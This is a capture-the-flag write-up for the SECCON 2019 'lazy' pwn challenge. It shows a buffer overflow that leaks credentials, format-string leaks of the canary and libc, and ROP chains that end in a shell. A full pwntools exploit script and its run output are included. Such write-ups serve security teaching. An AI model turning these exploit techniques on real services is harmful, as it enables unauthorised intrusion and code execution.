[Pwn] SECCON 2019 - lazy

lazy

332

lazy.chal.seccon.jp 33333

1st Stage

No files have been provided in this challenge, let’s see what we can do it by connecting to the server:

1
2
3
4
$ nc lazy.chal.seccon.jp 33333
1: Public contents
2: Login
3: Exit

We are presented with 3 options, login is to provide a username and password which for now we don’t know yet, public contents provides us with a bunch of files and the source code of login_source.c file:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#define BUFFER_LENGTH 32
#define PASSWORD "XXXXXXXXXX"
#define USERNAME "XXXXXXXX"

int login(void){
char username[BUFFER_LENGTH];
char password[BUFFER_LENGTH];
char input_username[BUFFER_LENGTH];
char input_password[BUFFER_LENGTH];

memset(username,0x0,BUFFER_LENGTH);
memset(password,0x0,BUFFER_LENGTH);
memset(input_username,0x0,BUFFER_LENGTH);
memset(input_password,0x0,BUFFER_LENGTH);

strcpy(username,USERNAME);
strcpy(password,PASSWORD);

printf("username : ");
input(input_username);
printf("Welcome, %s\n",input_username);

printf("password : ");
input(input_password);


if(strncmp(username,input_username,strlen(USERNAME)) != 0){
puts("Invalid username");
return 0;
}

if(strncmp(password,input_password,strlen(PASSWORD)) != 0){
puts("Invalid password");
return 0;
}

return 1;
}


void input(char *buf){
int recv;
int i = 0;
while(1){
recv = (int)read(STDIN_FILENO,&buf[i],1);
if(recv == -1){
puts("ERROR!");
exit(-1);
}
if(buf[i] == '\n'){
return;
}
i++;
}
}

There’s an obvious buffer overflow vulnerability at input function, USERNAME and PASSWORD are defined with the #define macros and later copied into local variables in the stack:

1
2
strcpy(username,USERNAME);
strcpy(password,PASSWORD);

Since we have no limits on the number of characters and input_username is located before in the stack we can leak both username and password if we fill until we reach that variable.

In this case we can leak the password by sending 32 characters(size of buffer), remember that to interrupt the input we need to send a newline in the end so we send 31* 'A' + '\n'.

Leaking the password:

1
2
3
4
5
6
7
8
$ nc lazy.chal.seccon.jp 33333
1: Public contents
2: Login
3: Exit
2
username : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Welcome, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
3XPL01717

To leak the username we need to 'A'*(32+31)+'\n':

1
2
3
4
5
6
7
8
9
10
$ python -c "print 'A'*(31+32)"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
$ nc lazy.chal.seccon.jp 33333
1: Public contents
2: Login
3: Exit
2
username : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Welcome, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
_H4CK3R_

The username is H4CK3R and the password is 3XPL01717.

2nd Stage

After logging in we are presented with another option:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
nc lazy.chal.seccon.jp 33333
1: Public contents
2: Login
3: Exit
2
username : _H4CK3R_
Welcome, _H4CK3R_

password : 3XPL01717
Logged in!
1: Public contents
2: Login
3: Exit
4: Manage
4
Welcome to private directory
You can download contents in this directory, but you can't download contents with a dot in the name
lazy
libc.so.6
Input file name

We can now download the full executable but unfortunately we can’t download the libc.so.6 which is probably a modified version, at this stage I downloaded lazy and started reverse engineering the binary:

1
2
3
4
5
6
def downloadLazy():
r.sendlineafter('4: Manage\n','4')
r.sendlineafter('Input file name\n', 'lazy')
r.recvuntil('Sending 14216 bytes')
with open('lazy', 'w+') as f:
f.write(r.recvall(timeout=2))

Opening it on IDA we find a format string vulnerability after inputting the file name:

This can be combined with the buffer overflow vulnerability, we can leak addresses from the stack in this case we can leak the stack canary and a libc address from the GOT but we are missing the final piece of the puzzle we don’t know which libc version is to calculate the offsets.

Failed approaches to get the libc.so.6 file:

  • My first approach was to leak some libc addresses from the GOT and tried to use libc-database but I failed the libc is probably a custom one modified by the author on purpose, so my only option was to find a way to download the libc.so.6 from the server.

  • 2nd approach was to modify the file name with format string perhaps there is a check in download function which limits the amount of characters of the filename making this very hard or almost impossible (at least I didn’t manage to do it this way).

The one that worked was to create a ropchain that would open the file and jump right at the middle of the download function at the call fstat function and why at the middle ?

The first three file descriptors are reserved for stdin (0x0), stdout(0x1) and stderr(0x2), so the next open we are going to use in ROP is going to be 0x3 this is important to know because we don’t have a gadget that can control move values from the register rax (open returns the fd to rax) but since we know exactly the fd number is we can just use a POP RDI gadget to move the number 0x3 there.

There are two useful ROP gadgets that can be used to execute open:

1
2
3
4
$ ROPgadget --binary lazy | grep 'pop rdi'
0x00000000004015f3 : pop rdi ; ret
$ ROPgadget --binary lazy | grep 'pop rsi'
0x00000000004015f1 : pop rsi ; pop r15 ; ret

With this we can control both 1st and 2nd args of a function so we can construct the execution of open like this:

1
2
3
4
5
6
ropchain = p64(POPRSIR15)
ropchain += p64(0x0)
ropchain += p64(LIBC_SO_6)
ropchain += p64(POPRDI)
ropchain += p64(LIBC_SO_6)
ropchain += p64(elf.plt['open']) # open("libc.so.6", 0)

Note that LIBC_SO_6 address can be taken from the binary by using IDA like this:

Another thing that we need to consider we need to set RBP into a valid address, RBP is the base frame pointer which is used to calculate with offsets to the local variables of that function , the RBP** is fucked because we are jumping right at the middle of the function:

1
2
ropchain += p64(POPRBP)
ropchain += p64(STACKADDR+0x90+0x30) # RBP = STACKADDR+0xc0

STACKADDR is the address we leak from the stack with format string at the position 1, but why +0xc0 ?

Another problem emerges, we also need to modify the local variable at RBP-0xdc to 0x3 otherwise read will read from a file descriptor at a value in that location in this case it will be 0x0 which is the stdin

But how can we modify a value at that location of the stack ? we can form a read ropchain but how do we do it if we don’t have any gadget to modify rdx ? well we can use atoi in the end of the executing it will set rdx to 0xa which is enough to use read to set the value 0x3 from the stdin.

Forming the ropchain:

1
2
3
4
5
6
7
8
9
10
ropchain += p64(POPRDI)
ropchain += p64(0x401788)
ropchain += p64(elf.plt['atoi']) # atoi(0x401788) which will do RDX = 0xa

ropchain += p64(POPRSIR15)
ropchain += p64(STACKADDR+0xc0-0xdc)
ropchain += p64(0x3)
ropchain += p64(POPRDI)
ropchain += p64(0x0)
ropchain += p64(elf.plt['read']) # read(0, STACKADDR+0xc0-0xdc, 0xa)

Our python code to send this from the stdin:

1
r.sendline(p64(0x03)+'\x00')

Remember this is necessary because since we are skipping running open at the download function we don’t also set RBP-0xdc to 0x3 which it should have been done here:

And finally the last part which is to setup the parameters for fstat and jump to the middle of download:

1
2
3
4
5
6
ropchain += p64(POPRSIR15)
ropchain += p64(STACKADDR)
ropchain += p64(0x3)
ropchain += p64(POPRDI)
ropchain += p64(0x3)
ropchain += p64(0x400f4c) # fstat(fd=0x3, STACKADDR)

After this we can successfully download but the file is somehow corrupted it came incomplete perhaps we can still get the offsets for the functions we need to create a final ropchain and get a shell:

The offset to system:

The offset to /bin/sh:

The offset to puts:

The functions that I used to leak addresses:

1
2
3
4
5
6
7
8
9
10
11
# Leaks from the stack
def leakFMTSi(i):
r.sendlineafter('4: Manage\n','4')
r.sendlineafter('Input file name\n', '%{}$lx '.format(i))

# Leaks from an address
def leakFMTSaddr(addr):
r.sendlineafter('4: Manage\n','4')
s = '%7$s '
s += p64(addr)
r.sendlineafter('Input file name\n', s)

Leaking the addresses, calculating offsets to libc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
leakFMTSaddr(elf.got['puts']) # canary
r.recv(0xb)
PUTS = u64(r.recv(0x6).ljust(0x8,'\x00'))
LIBC = PUTS-0x67880
SYSTEM = LIBC+0x3f570
BINSH = LIBC+0x163c38
log.info("PUTS 0x%x"%PUTS)
log.info("LIBC 0x%x"%LIBC)
log.info("SYSTEM 0x%x"%SYSTEM)
log.info("BINSH 0x%x"%BINSH)
print r.recvuntil('OK! Downloading...\n')

leakFMTSi(9)
r.recvuntil('Filename : ')
CANARY = int(r.recv(0x10),16)
log.info("CANARY 0x%x"%CANARY)

leakFMTSi(1)
r.recvuntil('Filename : ')
STACKADDR = int(r.recv(0x10),16)
STACKADDR += 0x900 # prevent a stupid printf error
log.info("STACKADDR 0x%x"%STACKADDR)

The final ropchain to get a shell:

1
2
3
4
5
6
7
8
def exploit():
padding = 'libc'+'\x00'*0x14
POPRDI = 0x00000000004015f3
ropchain = p64(POPRDI)
ropchain += p64(BINSH)
ropchain += p64(SYSTEM)
r.sendlineafter('4: Manage\n','4')
r.sendline(padding+p64(CANARY)+'A'*8+ropchain)

The full exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
from pwn import *
import string
import os
host, port = "lazy.chal.seccon.jp", "33333"
filename = "./lazy"
elf = ELF(filename)
context.arch = 'amd64'

def getConn():
return process(filename) if not args.REMOTE else remote(host, port)

def get_PIE(proc):
memory_map = open("/proc/{}/maps".format(proc.pid),"rb").readlines()
return int(memory_map[0].split("-")[0],16)

def debug(bp, pie=True, source=False, pscript=""):
script = ""
PIE = get_PIE(r)
for x in bp:
if source:
script += "b %s\n"%(x)
elif pie:
script += "b *%x\n"%(PIE+x)
else:
script += "b *0x%x\n" % x
script += pscript
gdb.attach(r,gdbscript=script)

def login(username, password):
r.sendlineafter('3: Exit\n','2')
r.sendlineafter('username : ', username)
r.sendlineafter('password : ', password)

def downloadLazy():
r.sendlineafter('4: Manage\n','4')
r.sendlineafter('Input file name\n', 'lazy')
r.recvuntil('Sending 14216 bytes')
with open('lazy', 'w+') as f:
f.write(r.recvall(timeout=2))

# Leaks from the stack
def leakFMTSi(i):
r.sendlineafter('4: Manage\n','4')
r.sendlineafter('Input file name\n', '%{}$lx '.format(i))

# Leaks from an address
def leakFMTSaddr(addr):
r.sendlineafter('4: Manage\n','4')
s = '%7$s '
s += p64(addr)
r.sendlineafter('Input file name\n', s)

def overflow():
file = 'libc'
padding = file+'\x00'*(0x18-len(file))
POPRDI = 0x00000000004015f3
POPRBP = 0x0000000000400c70
POPRSIR15 = 0x00000000004015f1
POPRSPR13R14R15 = 0x00000000004015ed
LIBC_SO_6 = 0x400689
PLACETOPIVOT = 0x602050

ropchain = p64(POPRSIR15)
ropchain += p64(0x0)
ropchain += p64(LIBC_SO_6)
ropchain += p64(POPRDI)
ropchain += p64(LIBC_SO_6)
ropchain += p64(elf.plt['open']) # open("libc.so.6", 0)

ropchain += p64(POPRBP)
ropchain += p64(STACKADDR+0xc0) # RBP = STACKADDR+0x90+0x30

ropchain += p64(POPRDI)
ropchain += p64(0x401788)
ropchain += p64(elf.plt['atoi']) # atoi(0x401788) which will do RDX = 0xa

ropchain += p64(POPRSIR15)
ropchain += p64(STACKADDR+0xc0-0xdc)
ropchain += p64(0x3)
ropchain += p64(POPRDI)
ropchain += p64(0x0)
ropchain += p64(elf.plt['read']) # read(0, STACKADDR+0x90+0x30-0xdc, 0xa)

ropchain += p64(POPRSIR15)
ropchain += p64(STACKADDR)
ropchain += p64(0x3)
ropchain += p64(POPRDI)
ropchain += p64(0x3)
ropchain += p64(0x400f4c) # fstat(fd=0x3, STACKADDR)

r.sendlineafter('4: Manage\n','4')
r.sendlineafter('Input file name\n', padding+p64(CANARY)+'A'*8+ropchain)

def exploit():
padding = 'libc'+'\x00'*0x14
POPRDI = 0x00000000004015f3
ropchain = p64(POPRDI)
ropchain += p64(BINSH)
ropchain += p64(SYSTEM)
r.sendlineafter('4: Manage\n','4')
r.sendline(padding+p64(CANARY)+'A'*8+ropchain)

context.terminal = ['tmux', 'new-window']
for _ in xrange(0,2):
r = getConn()
if not args.REMOTE and args.GDB:
#debug(["login_source.c:49","login_source.c:32"], pie=False, source=True)
debug([0x40146c,0x00000000004015f3], pie=False) # chdir 0x4013da read 0x400d33
login("_H4CK3R_", "3XPL01717")
#downloadLazy()


leakFMTSaddr(elf.got['puts']) # canary
r.recv(0xb)
PUTS = u64(r.recv(0x6).ljust(0x8,'\x00'))
LIBC = PUTS-0x67880
SYSTEM = LIBC+0x3f570
BINSH = LIBC+0x163c38

log.info("PUTS 0x%x"%PUTS)
log.info("LIBC 0x%x"%LIBC)
log.info("SYSTEM 0x%x"%SYSTEM)
log.info("BINSH 0x%x"%BINSH)
print r.recvuntil('OK! Downloading...\n')

leakFMTSi(9)
r.recvuntil('Filename : ')
CANARY = int(r.recv(0x10),16)
log.info("CANARY 0x%x"%CANARY)
leakFMTSi(1)
r.recvuntil('Filename : ')
STACKADDR = int(r.recv(0x10),16)
STACKADDR += 0x900 # prevent a stupid printf error
log.info("STACKADDR 0x%x"%STACKADDR)

if os.path.isfile("libc.so.6"):
exploit()
r.interactive()
r.close()
break
else:
overflow()
r.sendline(p64(0x03)+'\x00')
r.recvuntil(' bytes')
a = r.recvall()
#print len(a)
if '2: Login' in a or len(a) == 0:
i -= 1
else:
with open('libc.so.6','a+') as f:
f.write(a)
continue

Running it

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
$ python lazy.py REMOTE
[*] '/ctf/work/pwn/lazy/lazy'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Opening connection to lazy.chal.seccon.jp on port 33333: Done
[*] PUTS 0x7f52ab072880
[*] LIBC 0x7f52ab00b000
[*] LIBC 0x7f52ab04a570
[*] LIBC 0x7f52ab16ec38
0\x1f`OK! Downloading...

[*] CANARY 0x76eb2783e56af300
[*] STACKADDR 0x7ffead1298c0
[+] Receiving all data: Done (3.49MB)
[*] Closed connection to lazy.chal.seccon.jp port 33333
[+] Opening connection to lazy.chal.seccon.jp on port 33333: Done
[*] PUTS 0x7fb92abf5880
[*] LIBC 0x7fb92ab8e000
[*] LIBC 0x7fb92abcd570
[*] LIBC 0x7fb92acf1c38
0\x1f`OK! Downloading...

[*] CANARY 0x2af46916b0743600
[*] STACKADDR 0x7fff8cfe3ed0
[*] Switching to interactive mode
Welcome to private directory
You can download contents in this directory, but you can't download contents with a dot in the name
lazy
libc.so.6
Input file name
Filename : libcOK! Downloading...
./lib
No such file!
$ ls
810a0afb2c69f8864ee65f0bdca999d7_FLAG
cat
lazy
ld.so
libc.so.6
q
run.sh
$ ./cat 810a0afb2c69f8864ee65f0bdca999d7_FLAG
SECCON{Keep_Going!_KEEP_GOING!_K33P_G01NG!}